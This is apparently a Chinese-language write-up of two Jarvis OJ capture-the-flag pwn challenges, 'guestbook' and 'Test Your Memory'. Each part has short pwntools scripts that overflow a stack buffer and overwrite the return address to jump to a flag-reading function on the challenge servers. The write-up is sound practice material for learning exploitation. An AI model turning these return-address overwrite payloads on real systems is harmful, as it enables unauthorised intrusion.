题目来自:https://www.jarvisoj.com/challenges
guestbook,一道特别简单的题
checksec查看:有个栈不可执行保护,没什么问题
IDA打开查看伪代码,先看main函数:
还看到调用了fopen和fgetc这样的函数,所以找了一下,发现good_game这个函数;
这个函数读取了flag.txt,这个函数的开始地址为0000000000400620
所以构造payload,把返回地址覆盖为这个函数的地址,就可以读取到flag
脚本如下
from pwn import *
sh = remote('pwn.jarvisoj.com',9876)
good_addr = 0x0000000000400620
payload = 'a'*136 +p64(good_addr)
sh.recvuntil("Input your message:\n")
sh.send(payload)
print sh.recv()
Test Your Memory
checksec查看:栈不可执行保护,其他没什么特别的
IDA打开:
设置了随机种子,要把字符串alphanum里面的随机三个字符,赋值给v5,再把v5作为mem_test函数的参数,查看mem_test
查看hint的内容
hint 是输出了字符串acatflag的地址(0x080487E0),acatflag的内容为‘cat flag’
然后发现有win_func函数,内容为
给win_func函数传的参数,会被当做命令执行,win_func的地址为0x080485BD
构造payload 覆盖返回地址为win_func的地址,然后把acatflag作为参数传进去
脚本如下
from pwn import *
sh = remote('pwn2.jarvisoj.com',9876)
sys_addr = 0x080485BD
cat_addr = 0x080487E0
payload = 'a'*23 +p32(sys_addr)+p32(0x08048662)+p32(cat_addr)#0x13+4=23
sh.sendline(payload)
sh.interactive()
未解之谜,为什么win_func的返回地址为正确地址是才会返回flag,不能像其他题一样,用一个不存在的地址